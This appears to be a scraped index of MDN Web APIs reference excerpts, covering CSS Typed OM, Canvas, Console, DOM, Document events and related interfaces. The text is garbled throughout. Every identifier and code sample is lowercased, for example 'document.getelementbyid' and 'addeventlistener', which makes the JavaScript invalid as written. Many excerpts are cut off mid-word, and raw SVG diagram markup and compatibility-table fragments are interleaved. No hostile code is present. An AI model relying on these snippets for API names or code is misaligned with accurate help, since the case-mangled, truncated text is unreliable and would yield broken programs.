note: this method returns a bluetoothdevice for each device the origin is currently allowed to access, even the ones that are out of range or powered off.
... the program can detect when a device comes online or into range by watching for bluetooth advertisements by calling bluetoothdevice.watchadvertisements() on that device.
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied.
... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification.
CSS numeric factory functions - Web APIs
the css numeric factory functions, such as css.em() and css.turn() are methods that return cssunitvalues with the value being the numeric argument and the unit being the name of the method used.
... syntax css.number(number); css.percent(number); // <length> css.em(number); css.ex(number); css.ch(number); css.ic(number); css.rem(number); css.lh(number); css.rlh(number); css.vw(number); css.vh(number); css.vi(number); css.vb(number); css.vmin(number); css.vmax(number); css.cm(number); css.mm(number); css.q(number); css.in(number); css.pt(number); css.pc(number); css.px(number); // <angle> css.deg(number); css.grad(number); css.rad(number); css.turn(number); // <time> css.s(number); css.ms(number); // <frequency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax...
CSS.paintWorklet (Static property) - Web APIs
WebAPICSSpaintWorklet
paintworklet is a static, read-only property of the css interface that provides access to the paintworklet, which programmatically generates an image where a css property expects a file.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
CSS.registerProperty() - Web APIs
the css.registerproperty() method registers custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value.
... syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a domstring indicating the name of the property being defined.
CSSConditionRule - Web APIs
an object implementing the cssconditionrule interface represents a single condition css at-rule, which consists of a condition and a statement block.
... it is a child of cssgroupingrule.
CSSCounterStyleRule - Web APIs
: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssrule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssrule</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/csscounterstylerule" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-fami...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule.
CSSKeywordValue.CSSKeywordValue() - Web APIs
the csskeywordvalue constructor creates a new csskeywordvalue object which represents css keywords and other identifiers.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment ...
CSSPositionValue - Web APIs
let replacedel = document.getelementbyid( 'image' ); let position = new csspositionvalue( css.px(35), css.px(40) ); replacedel.attributestylemap.set( 'object-position', position ); console.log( position.x.value, position.y.value ); console.log( replacedel.computedstylemap().get('object-position') ); we set the object-position property, then check the values returned.
... #image { width: 300px; height: 300px; border: 1px solid black; background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSPrimitiveValue.getFloatValue() - Web APIs
syntax var floatvalue = cssprimitivevalue.getfloatvalue(unit); parameters unittype an unsigned short representing the code for the unit type, in which the value should be returned.
... css_in the value is a <length> in inches.
CSSPrimitiveValue.getRGBColorValue() - Web APIs
modification to the corresponding style property can be achieved using the rgbcolor interface.
... exceptions type description domexception an invalid_access_err is raised if the attached property can't return an rgb color value (i.e.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
syntax var priority = style.getpropertypriority(property); parameters property is a domstring representing the property name to be checked.
... example the following javascript code checks whether margin is marked as important in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var isimportant = declaration.getpropertypriority('margin') === 'important'; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertypriority()' in that specification.
CSSStyleRule - Web APIs
cssstylerule.stylemap read only returns a stylepropertymap object which provides access to the rule's property-value pairs.
... working draft no changes document object model (dom) level 2 style specificationthe definition of 'cssrule' in that specification.
CSSStyleSheet.rules - Web APIs
syntax var rules = cssstylesheet.rules; value a live-updating cssrulelist containing each of the css rules making up the stylesheet.
... each entry in the rule list is a cssrule object describing one rule making up the stylesheet.
CSSStyleValue.parseAll() - Web APIs
the parseall() method of the cssstylevalue interface sets all occurences of a specific css property to the specified value and returns an array of cssstylevalue objects, each containing one of the supplied values.
... return value an array of cssstylevalue objects, each containing one of the supplied values.
CSSValueList - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssvaluelist" target="_top"><rect x="121" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="co...
...nsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvaluelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, cssvalue.
CSS Object Model (CSSOM) - Web APIs
it is much like the dom, but for the css rather than the html.
... reference animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeaturevaluesmap cssfontfeaturevaluesrule cssgroupingrule cssimportrule csskeyframerule csskeyframesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap cssviewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylistlistener screen stylesheet stylesheetlist transitionevent several other interfaces are also extended by the cssom-related specifications: doc...
Using the CSS properties and values API - Web APIs
the css properties and values api — part of the css houdini umbrella of apis — allows the registration of css custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value.
... gotchas there are two gotchas when registering a property.
CanvasCaptureMediaStreamTrack.canvas - Web APIs
the canvascapturemediastreamtrack canvas read-only property returns the htmlcanvaselement from which frames are being captured.
... syntax var elt = stream.canvas; value an htmlcanvaselement indicating the canvas which is the source of the frames being captured.
CanvasPattern.setTransform() - Web APIs
examples using the settransform method this is just a simple code snippet which uses the settransform method to create a canvaspattern with the specified pattern transformation from an svgmatrix.
..., 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img = new image(); img...
CanvasRenderingContext2D.arc() - Web APIs
startangle the angle at which the arc starts in radians, measured from the positive x-axis.
... endangle the angle at which the arc ends in radians, measured from the positive x-axis.
CanvasRenderingContext2D.createPattern() - Web APIs
the pattern it creates must be assigned to the canvasrenderingcontext2d.fillstyle or canvasrenderingcontext2d.strokestyle properties, after which it is applied to any subsequent drawing.
...t.arc(0, 0, 50, 0, .5 * math.pi); patterncontext.stroke(); // create our primary canvas and fill it with the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanvas, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, canvas.width, canvas.height); // add our primary canvas to the webpage document.body.appendchild(canvas); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.createpattern' in that specification.
CanvasRenderingContext2D.fillRect() - Web APIs
this is often useful for creating a background, on top of which other things may then be drawn.
... to achieve this, the dimensions of the rectangle are set to equal the <canvas> element's width and height attributes.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
syntax ctx.globalcompositeoperation = type; type is a string identifying which of the compositing or blending mode operations to use.
... types examples changing the composite operation this example uses the globalcompositeoperation property to draw two rectangles that exclude themselves where they overlap.
CanvasRenderingContext2D.lineDashOffset - Web APIs
marching ants the marching ants effect is an animation technique often found in selection tools of computer graphics programs.
... html <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let offset = 0; function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.setlinedash([4, 2]); ctx.linedashoffset = -offset; ctx.strokerect(10, 10, 100, 100); } function march() { offset++; if (offset > 16) { offset = 0; } draw(); settimeout(march, 20); } march(); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.linedashoffset' in that specification.
CanvasRenderingContext2D.setTransform() - Web APIs
the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties).
...scaling and translation remain unchanged.
CanvasRenderingContext2D.transform() - Web APIs
note: see also the settransform() method, which resets the current transform to the identity matrix and then invokes transform().
...scaling and translation remain unchanged.
Canvas API - Web APIs
the webgl api, which also uses the <canvas> element, draws hardware-accelerated 2d and 3d graphics.
...next, the htmlcanvaselement.getcontext() method gets that element's context—the thing onto which the drawing will be rendered.
Client.postMessage() - Web APIs
examples sending a message from a service worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client.
... client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Client - Web APIs
WebAPIClient
the client interface represents an executable context such as a worker, or a sharedworker.
...you can get client/windowclient objects from methods such as clients.matchall() and clients.get().
Clients.claim() - Web APIs
WebAPIClientsclaim
this triggers a "controllerchange" event on navigator.serviceworker in any clients that become controlled by this service worker.
... example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker.
ClipboardItem.getType() - Web APIs
exceptions domexception the type does not match a known mime type.
... async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
then checking the types property for available types before utilizing the clipboarditem.gettype() method to return the blob object.
... async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
CloseEvent.initCloseEvent() - Web APIs
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... once dispatched, it doesn't do anything anymore.
CloseEvent - Web APIs
1000 normal closure normal closure; the connection successfully completed whatever purpose for which it was created.
...if the event has already being dispatched, this method does nothing.
CompositionEvent.data - Web APIs
the data read-only property of the compositionevent interface returns the characters generated by the input method that raised the event; its exact nature varies depending on the type of event that generated the compositionevent object.
...this value doesn't change even if content changes the selection range; rather, it indicates the string that was selected when composition started.
Console.countReset() - Web APIs
b" to the first invocation of count(), and the string "alice" to the second: let user = ""; function greet() { console.count(user); return "hi " + user; } user = "bob"; greet(); user = "alice"; greet(); greet(); console.countreset("bob"); console.count("alice"); we will see output like this: "bob: 1" "alice: 1" "alice: 2" "bob: 0" "alice: 3" resetting the value of the counter "bob" only changes the value of that counter.
... the value of "alice" is unchanged.
Console.dir() - Web APIs
WebAPIConsoledir
the output is presented as a hierarchical listing with disclosure triangles that let you see the contents of child objects.
... in other words, console.dir() is the way to see all the properties of a specified javascript object in console by which the developer can easily get the properties of the object.
Console.error() - Web APIs
WebAPIConsoleerror
the string representations of each of these objects are appended together in the order listed and output.
...substn javascript objects with which to replace substitution strings within msg.
Console.info() - Web APIs
WebAPIConsoleinfo
the string representations of each of these objects are appended together in the order listed and output.
...substn javascript objects with which to replace substitution strings within msg.
Console.profileEnd() - Web APIs
if console.profileend() is passed a profile name, and it matches the name of a profile being recorded, then that profile is stopped.
... if console.profileend() is passed a profile name and it does not match the name of a profile being recorded, no changes will be made.
ConstantSourceNode() - Web APIs
the constantsourcenode() constructor creates a new constantsourcenode object instance, representing an audio source which constantly outputs samples whose values are always the same.
... let audiocontext = new audiocontext(); let myconstantsource = new constantsourcenode(audiocontext, { offset: 0.5 }); note: the new constantsourcenode created by the constructor has a channelcount of 2.
ContentIndexEvent.id - Web APIs
the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id.
... self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'id' in that specification.
ContentIndexEvent - Web APIs
id read only a string which identifies the deleted content index via it's id.
... self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
ConvolverNode.normalize - Web APIs
its default value is true in order to achieve a more uniform output level from the convolver, when loaded with diverse impulse responses.
...changes to this value do not take effect until the next time the buffer attribute is set.
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied.
... examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
CountQueuingStrategy.size() - Web APIs
the size() method of the countqueuingstrategy interface always returns 1, so that the total queue size is a count of the number of chunks in the queue.
... examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
CredentialsContainer - Web APIs
the credentialscontainer interface of the the credential management api exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen.
... credentialscontainer.get()secure context returns a promise that resolves with the credential instance that matches the provided parameters.
Crypto.getRandomValues() - Web APIs
getrandomvalues() is the only member of the crypto interface which can be used from an insecure context.
...user agents are instead urged to provide the best entropy they can when generating random numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken from an external source of pseudorandom numbers, such as a platform-specific random number function, the unix /dev/urandom device, or other source of random or pseudorandom data.
CryptoKey - Web APIs
WebAPICryptoKey
properties cryptokey.type string which may take one of the following values: "secret": this key is a secret key for use with a symmetric algorithm.
... cryptokey.algorithm an object describing the algorithm for which this key can be used and any associated extra parameters.
CustomElementRegistry - Web APIs
if such a custom element is already defined, the returned promise is immediately fulfilled.
... { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent = this.parentnode; function countwords(node){ var text = node.innertext || node.textcontent return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent = count; // append it to the shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } }...
DOMImplementation.createDocument() - Web APIs
example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); body.setattribute('id', 'abc'); doc.documentelement.appendchild(body); alert(doc.getelementbyid('abc')); // [object htmlbodyelement] specifications specification status comment domthe definition of 'domimplementation.createdocument' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocument' in that specification.
DOMImplementation.createHTMLDocument() - Web APIs
ument and insert it below.</p> <iframe id="theframe" src="about:blank" /> </body> the javascript implementation of makedocument() follows: function makedocument() { let frame = document.getelementbyid("theframe"); let doc = document.implementation.createhtmldocument("new document"); let p = doc.createelement("p"); p.innerhtml = "this is a new paragraph."; try { doc.body.appendchild(p); } catch(e) { console.log(e); } // copy the new html document into the frame let destdocument = frame.contentdocument; let srcnode = doc.documentelement; let newnode = destdocument.importnode(srcnode, true); destdocument.replacechild(newnode, destdocument.documentelement); } the code in lines 4–12 handle creating the new html document and inserting some content into...
... line 16 pulls the contentdocument of the frame; this is the document into which we'll be injecting the new content.
DOMImplementation.hasFeature() - Web APIs
obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.hasfeature' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'domimplementation.hasfeature' in that specification.
DOMImplementation - Web APIs
the domimplementation interface represents an object providing methods which are not dependent on any particular document.
... such an object is returned by the document.implementation property.
DOMMatrixReadOnly.flipX() - Web APIs
syntax dommatrix.flipx() return value returns a dommatrix containing a new matrix being the result of the original matrix flipped about the x-axis, which is equivalent to multiplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0).
... <svg width="100" height="100" viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
DOMMatrixReadOnly.scale() - Web APIs
examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
... these new matrices are then applied to the blue and green squares as a transform, changing their dimensions and position.
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
this may change if transforms have been applied causing the axes' orientation to change.
... there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointInit.z - Web APIs
WebAPIDOMPointInitz
of course, if transforms have been applied, the axes may have changed orientation.
... there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointInit - Web APIs
dompointinit.z an unrestricted floating-point value which gives the point's z-coordinate, which is (assuming no transformations that alter the situation) the depth coordinate; positive values are closer to the user and negative values retreat back into the screen.
...this same code will work to create a dompointreadonly object; just change the interface name in the code.
DOMPointReadOnly() - Web APIs
note: each of these values is what's called an unrestricted number.
... in addition to any finite floating-point value, you may use special values such as ±infinity and nan.
DOMRectReadOnly.fromRect() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfromrect() static functionchrome full support 57edge full support 79firefox full support 69ie no support noopera full support 44safari full support 10.1webview android full support 57chrome android full support 57firefox android no support ...
DOMTokenList.contains() - Web APIs
syntax tokenlist.contains(token); parameters token a domstring representing the token you want to check for the existance of in the list.
... return value a boolean, which is true if the calling list contains token, otherwise false.
DOMTokenList.entries() - Web APIs
the values are domstring objects, each representing a single token.
...we when retrieve an iterator containing the key/value pairs using entries(), then iterate through each one using a for...of loop, writing them to the <span>'s node.textcontent.
DataTransfer.addElement() - Web APIs
this element will be the element to which drag and dragend events are fired, and not the defaut target (the node that was dragged).
... return value void example this example shows the use of the addelement() method function change_drag_node(event, node) { var dt = event.datatransfer; dt.addelement(node); } specifications this method is not defined in any web standard.
DataTransfer.mozSourceNode - Web APIs
the datatransfer.mozsourcenode property is used to determine the node over which the mouse cursor was located when the the drag operation was initiated (for example, when a <button> was clicked).
... for external drags or if the calling function cannot reach the node, null is returned.
DataTransferItem.kind - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItemList - Web APIs
during a drag operation, each dragevent has a datatransfer property and that property is a datatransferitemlist.
... example each of this interface's methods and properties has a reference page, and each reference page has an example of its usage.
DedicatedWorkerGlobalScope.onmessage - Web APIs
messages are passed to the worker when the value inside the form input first changes.
... var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker,...
DelayNode - Web APIs
WebAPIDelayNode
a delaynode always has exactly one input and one output, both with the same amount of channels.
... number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor delaynode() creates a new instance of an delaynode object instance.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
rotationrate: an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma.
... interval: a number representing the interval of time, in milliseconds, at which data is obtained from the device.
DisplayMediaStreamConstraints - Web APIs
processing information is specified using mediatrackconstraints objects providing options which are applied to the track after the media data is received but before it is made available on the mediastream.
...if a mediatrackconstraints object is provided here, an audio track is included in the stream, but the audio is processed to match the specified constraints after being retrieved from the hardware but before being added to the mediastream.
Document.adoptNode() - Web APIs
the adopted node and its subtree is removed from its original document (if any), and its ownerdocument is changed to the current document.
... example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.body - Web APIs
WebAPIDocumentbody
the document.body property represents the <body> or <frameset> node of the current document, or null if no such element exists.
... though the body property is settable, setting a new body on a document will effectively remove all the current children of the existing <body> element.
Document.createCDATASection() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
... will throw a ns_error_dom_invalid_character_err exception if one tries to submit the closing cdata sequence ("]]>") as part of the data, so unescaped user-provided data cannot be safely used without with this method getting this exception (createtextnode() can often be used in its place).
Document.createTextNode() - Web APIs
this method can be used to escape html characters.
... example <!doctype html> <html lang="en"> <head> <title>createtextnode example</title> <script> function addtextnode(text) { var newtext = document.createtextnode(text), p1 = document.getelementbyid("p1"); p1.appendchild(newtext); } </script> </head> <body> <button onclick="addtextnode('yes!
Document.designMode - Web APIs
the earlier versions of chrome and ie default to "inherit".
... starting in chrome 43, the default is "off" and "inherit" is no longer supported.
Document.exitPointerLock() - Web APIs
the exitpointerlock() method asynchronously releases a pointer lock previously requested through element.requestpointerlock.
... to track the success or failure of the request, it is necessary to listen for the pointerlockchange and pointerlockerror events.
Document.fullscreen - Web APIs
note: since this property is deprecated, you can determine if full-screen mode is active on the document by checking to see if document.fullscreenelement is not null.
... syntax var isfullscreen = document.fullscreen; value a boolean value which is true if the document is currently displaying an element in full-screen mode; otherwise, the value is false.
Document.getAnimations() - Web APIs
return value an array of animation objects, each representing one animation currently associated with elements which are descendants of the document on which it's called.
... document.getanimations().foreach( function (animation) { animation.playbackrate *= .5; } ); specifications specification status comment web animationsthe definition of 'document.getanimations()' in that specification.
Document.getElementsByName() - Web APIs
the returned nodelist collection contains all elements with the given name, such as <meta>, <object>, and even elements which do not support the name attribute at all.
...there, getelementsbyname() does not return all elements which may not have a name attribute (such as <span>).
Document.implementation - Web APIs
notes the w3c's dom level 1 recommendation only specified the hasfeature method, which is one way to determine if a dom module is supported by a browser (see example above and what does your user agent claim to support?).
...for example, the domimplementation interface includes a createdocumenttype method with which dtds can be created for one or more documents managed by the implementation.
Document: keydown event - Web APIs
unlike the keypress event, the keydown event is fired for all keys, regardless of whether they produce a character value.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
Document.location - Web APIs
WebAPIDocumentlocation
the document.location read-only property returns a location object, which contains information about the url of the document and provides methods for changing that url and loading another url.
... living standard no change from html5.
Document.ononline - Web APIs
WebAPIDocumentononline
the document.online event is fired on the <body> of each page when the browser switches between online and offline mode.
...the online and offline events are fired when the value of this attribute changes.
Document.queryCommandEnabled() - Web APIs
syntax isenabled = document.querycommandenabled(command); parameters command the command for which to determine support.
... return value returns a boolean which is true if the command is enabled and false if the command isn't.
Document.queryCommandSupported() - Web APIs
syntax issupported = document.querycommandsupported(command); parameters command the command for which to determine support.
... return value returns a boolean which is true if the command is supported and false if the command isn't.
Document.registerElement() - Web APIs
note: this is an experimental technology.
...the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag()); this inserts an empty my-tag element that will be visible if you use the browser's developer tools.
Document: selectstart event - Web APIs
if the event is canceled, the selection is not changed.
... bubbles yes cancelable yes interface event event handler property onselectstart examples // addeventlistener version document.addeventlistener('selectstart', () => { console.log('selection started'); }); // onselectstart version document.onselectstart = () => { console.log('selection changed.'); }; specifications specification status comment selection apithe definition of 'selectstart' in that specification.
Document.timeline - Web APIs
WebAPIDocumenttimeline
this timeline is unique to each document and persists for the lifetime of the document including calls to document.open().
... the time values for this timeline are calculated as a fixed offset from the global clock such that the zero time corresponds to the navigationstart moment plus a signed delta known as the origin time.
Document: wheel event - Web APIs
the default action of a wheel event is implementation-specific, and doesn't necessarily dispatch a scroll event.
...instead, detect value changes of scrollleft and scrolltop in the scroll event.
Document.xmlVersion - Web APIs
as such, firefox 10 no longer implements it.
...to detect this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version this has been removed from dom core level 4wd ...
DocumentFragment.querySelectorAll() - Web APIs
the documentfragment.queryselectorall() method returns a nodelist of elements within the documentfragment (using depth-first pre-order traversal of the document's nodes) that matches the specified group of selectors.
... examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
DocumentTimeline.DocumentTimeline() - Web APIs
currently the only supported option is the origintime member which specifies the zero time for the documenttimeline as a real number of milliseconds relative to the navigationstart moment of the active document for the current browsing context.
...this bit of code would start all the cats animating 500 milliseconds into their animations: var cats = document.queryselectorall('.sharedtimelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline = new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes = new keyframeeffect(cat, keyframes, timing); var catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification.
Example - Web APIs
<html> <head> <title>my document</title> <script type="text/javascript"> function change() { // document.getelementsbytagname("h1") returns a nodelist of the h1 // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
... var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } </script> </head> <body> <input type="button" value="change this document." onclick="change()"> <h1>header</h1> <p>paragraph</p> </body> </head> ...
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
pname a glenum specifying which information to return.
... return value depends on pname: if pname is ext.current_query_ext: a webglquery object, which is the currently active query for the given target.
EXT_disjoint_timer_query - Web APIs
